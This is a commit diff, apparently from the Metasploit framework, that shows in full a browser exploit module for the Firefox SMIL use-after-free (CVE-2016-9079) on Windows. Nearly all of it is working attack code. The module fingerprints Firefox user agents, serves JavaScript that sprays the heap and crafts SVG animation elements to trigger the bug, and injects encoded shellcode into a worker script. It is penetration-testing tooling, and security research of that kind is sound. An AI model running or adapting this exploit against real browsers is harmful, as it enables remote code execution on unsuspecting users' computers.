address msftidy complaints

bug/bundler_fix
William Webb 2017-01-20 11:56:11 -06:00
parent 2513b5bbe5
commit d8f04ccc18
No known key found for this signature in database
GPG Key ID: 341763D0308DA650
1 changed files with 281 additions and 281 deletions

View File

@ -1,281 +1,281 @@
## ##
# This module requires Metasploit: http://metasploit.com/download # This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core' require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpServer
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE", 'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
'Description' => %q{ 'Description' => %q{
This module exploits an out-of-bounds indexing/use-after-free condition present in This module exploits an out-of-bounds indexing/use-after-free condition present in
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
on Microsoft Windows. on Microsoft Windows.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Anonymous gaijin', # Original research/exploit 'Anonymous Gaijin', # Original research/exploit
'William Webb <william_webb[at]rapid7.com>' # Metasploit module 'William Webb <william_webb[at]rapid7.com>' # Metasploit module
], ],
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'Mozilla Firefox', [ 'Mozilla Firefox',
{ {
'Platform' => 'win', 'Platform' => 'win',
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
} }
], ],
], ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => "thread", 'EXITFUNC' => "thread",
'InitialAutoRunScript' => 'migrate -f' 'InitialAutoRunScript' => 'migrate -f'
}, },
'References' => 'References' =>
[ [
[ 'CVE', '2016-9079' ], [ 'CVE', '2016-9079' ],
[ 'Bugzilla', '1321066' ] [ 'Bugzilla', '1321066' ]
], ],
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'DisclosureDate' => "May 10 2016", 'DisclosureDate' => "May 10 2016",
'DefaultTarget' => 0 'DefaultTarget' => 0
) )
) )
register_options( register_options(
[ [
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]), OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
], self.class ], self.class
) )
end end
def exploit_html(cli) def exploit_html(cli)
p = payload.encoded p = payload.encoded
arch = Rex::Arch.endian(target.arch) arch = Rex::Arch.endian(target.arch)
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u') payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
base_uri = "#{get_resource.chomp('/')}" base_uri = "#{get_resource.chomp('/')}"
# stuff that gets adjusted alot during testing # stuff that gets adjusted alot during testing
defrag_x = %Q~ defrag_x = %Q~
for (var i = 0; i < 0x4000; i++) for (var i = 0; i < 0x4000; i++)
heap80[i] = block80.slice(0) heap80[i] = block80.slice(0)
~ ~
defrag_y = %Q~ defrag_y = %Q~
for (var i = 0x4401; i < heap80.length; i++) for (var i = 0x4401; i < heap80.length; i++)
heap80[i] = block80.slice(0) heap80[i] = block80.slice(0)
~ ~
js = %Q~ js = %Q~
var worker = new Worker('#{base_uri}/worker.js'); var worker = new Worker('#{base_uri}/worker.js');
var svgns = 'http://www.w3.org/2000/svg'; var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x5000); var heap80 = new Array(0x5000);
var heap100 = new Array(0x5000); var heap100 = new Array(0x5000);
var block80 = new ArrayBuffer(0x80); var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100); var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined; var sprayBase = undefined;
var arrBase = undefined; var arrBase = undefined;
var animateX = undefined; var animateX = undefined;
var containerA = undefined; var containerA = undefined;
var milestone_offset = 0x90; var milestone_offset = 0x90;
var $ = function(id) { return document.getElementById(id); } var $ = function(id) { return document.getElementById(id); }
var heap = function() var heap = function()
{ {
var u32 = new Uint32Array(block80) var u32 = new Uint32Array(block80)
u32[4] = arrBase - milestone_offset; u32[4] = arrBase - milestone_offset;
u32[0xa] = arrBase + 0x1000 - milestone_offset; u32[0xa] = arrBase + 0x1000 - milestone_offset;
u32[0x10] = arrBase + 0x2000 - milestone_offset; u32[0x10] = arrBase + 0x2000 - milestone_offset;
var x = document.createElementNS(svgns, 'animate') var x = document.createElementNS(svgns, 'animate')
var svg = document.createElementNS(svgns, 'svg') var svg = document.createElementNS(svgns, 'svg')
svg.appendChild(x) svg.appendChild(x)
svg.appendChild(x.cloneNode(true)) svg.appendChild(x.cloneNode(true))
for (var i = 0; i < 0x400; i++) for (var i = 0; i < 0x400; i++)
{ {
var node = svg.cloneNode(true); var node = svg.cloneNode(true);
node.setAttribute('id', 'svg' + i) node.setAttribute('id', 'svg' + i)
document.body.appendChild(node); document.body.appendChild(node);
} }
#{defrag_x} #{defrag_x}
for (var i = 0; i < 0x400; i++) for (var i = 0; i < 0x400; i++)
{ {
heap80[i + 0x3000] = block80.slice(0) heap80[i + 0x3000] = block80.slice(0)
$('svg' + i).appendChild(x.cloneNode(true)) $('svg' + i).appendChild(x.cloneNode(true))
} }
for (var i = 0; i < 0x400; i++) for (var i = 0; i < 0x400; i++)
{ {
$('svg' + i).appendChild(x.cloneNode(true)) $('svg' + i).appendChild(x.cloneNode(true))
$('svg' + i).appendChild(x.cloneNode(true)) $('svg' + i).appendChild(x.cloneNode(true))
} }
for (var i = 0; i < heap100.length; i++) for (var i = 0; i < heap100.length; i++)
heap100[i] = block100.slice(0) heap100[i] = block100.slice(0)
#{defrag_y} #{defrag_y}
for (var i = 0x100; i < 0x400; i++) for (var i = 0x100; i < 0x400; i++)
$('svg' + i).appendChild(x.cloneNode(true)) $('svg' + i).appendChild(x.cloneNode(true))
} }
var exploit = function() var exploit = function()
{ {
heap(); heap();
animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s') animateX.setAttribute('begin', '58s')
animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s') animateX.setAttribute('begin', '9s')
// money shot // money shot
containerA.pauseAnimations(); containerA.pauseAnimations();
} }
worker.onmessage = function(e) worker.onmessage = function(e)
{ {
worker.onmessage = function(e) worker.onmessage = function(e)
{ {
window.setTimeout(function() window.setTimeout(function()
{ {
worker.terminate(); worker.terminate();
document.body.innerHTML = ''; document.body.innerHTML = '';
document.getElementsByTagName('head')[0].innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = '';
document.body.setAttribute('onload', '') document.body.setAttribute('onload', '')
document.write('<blink>') document.write('<blink>')
}, 1000); }, 1000);
} }
arrBase = e.data; arrBase = e.data;
exploit(); exploit();
} }
var idGenerator = function() var idGenerator = function()
{ {
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
} }
var craftDOM = function() var craftDOM = function()
{ {
containerA = document.createElementNS(svgns, 'svg') containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg'); var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate') animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate')
var idX = idGenerator(); var idX = idGenerator();
var idA = idGenerator(); var idA = idGenerator();
var idB = idGenerator(); var idB = idGenerator();
var idC = idGenerator(); var idC = idGenerator();
animateX.setAttribute('id', idX); animateX.setAttribute('id', idX);
animateA.setAttribute('id', idA); animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s'); animateA.setAttribute('end', '50s');
animateB.setAttribute('id', idB); animateB.setAttribute('id', idB);
animateB.setAttribute('begin', '60s'); animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end'); animateB.setAttribute('end', idC + '.end');
animateC.setAttribute('id', idC); animateC.setAttribute('id', idC);
animateC.setAttribute('begin', '10s'); animateC.setAttribute('begin', '10s');
animateC.setAttribute('end', idA + '.end'); animateC.setAttribute('end', idA + '.end');
containerA.appendChild(animateX) containerA.appendChild(animateX)
containerA.appendChild(animateA) containerA.appendChild(animateA)
containerA.appendChild(animateB) containerA.appendChild(animateB)
containerB.appendChild(animateC) containerB.appendChild(animateC)
document.body.appendChild(containerA); document.body.appendChild(containerA);
document.body.appendChild(containerB); document.body.appendChild(containerB);
} }
window.onload = craftDOM; window.onload = craftDOM;
~ ~
# If you want to change the appearance of the landing page, do it here # If you want to change the appearance of the landing page, do it here
html = %Q~ html = %Q~
<html> <html>
<head> <head>
<meta charset="utf-8"/> <meta charset="utf-8"/>
<script> <script>
#{js} #{js}
</script> </script>
</head> </head>
<body> <body>
</body> </body>
</html> </html>
~ ~
if datastore['UsePostHTML'] if datastore['UsePostHTML']
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb") f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
c = f.read c = f.read
html = html.gsub("<blink>", c) html = html.gsub("<blink>", c)
else else
html = html.gsub("<blink>", "") html = html.gsub("<blink>", "")
end end
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end end
def worker_js(cli) def worker_js(cli)
p = payload.encoded p = payload.encoded
arch = Rex::Arch.endian(target.arch) arch = Rex::Arch.endian(target.arch)
payload = Rex::Text.to_unescape(p, arch) payload = Rex::Text.to_unescape(p, arch)
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb") wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
c = wt.read c = wt.read
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload) c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
c = c.gsub("NOPSGOHERE", "\u9090") c = c.gsub("NOPSGOHERE", "\u9090")
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end end
def is_ff_on_windows(user_agent) def is_ff_on_windows(user_agent)
target_hash = fingerprint_user_agent(user_agent) target_hash = fingerprint_user_agent(user_agent)
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/ if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
return false return false
end end
return true return true
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
print_status("Got request: #{request.uri}") print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}") print_status("From: #{request.headers['User-Agent']}")
if (!is_ff_on_windows(request.headers['User-Agent'])) if (!is_ff_on_windows(request.headers['User-Agent']))
print_error("Unsupported user agent: #{request.headers['User-Agent']}") print_error("Unsupported user agent: #{request.headers['User-Agent']}")
send_not_found(cli) send_not_found(cli)
close_client(cli) close_client(cli)
return return
end end
if request.uri =~ /worker\.js/ if request.uri =~ /worker\.js/
print_status("Sending worker thread Javascript ...") print_status("Sending worker thread Javascript ...")
worker_js(cli) worker_js(cli)
return return
end end
if request.uri =~ /index\.html/ or request.uri =~ /\// if request.uri =~ /index\.html/ or request.uri =~ /\//
print_status("Sending exploit HTML ...") print_status("Sending exploit HTML ...")
exploit_html(cli) exploit_html(cli)
close_client(cli) close_client(cli)
return return
end end
end end
end end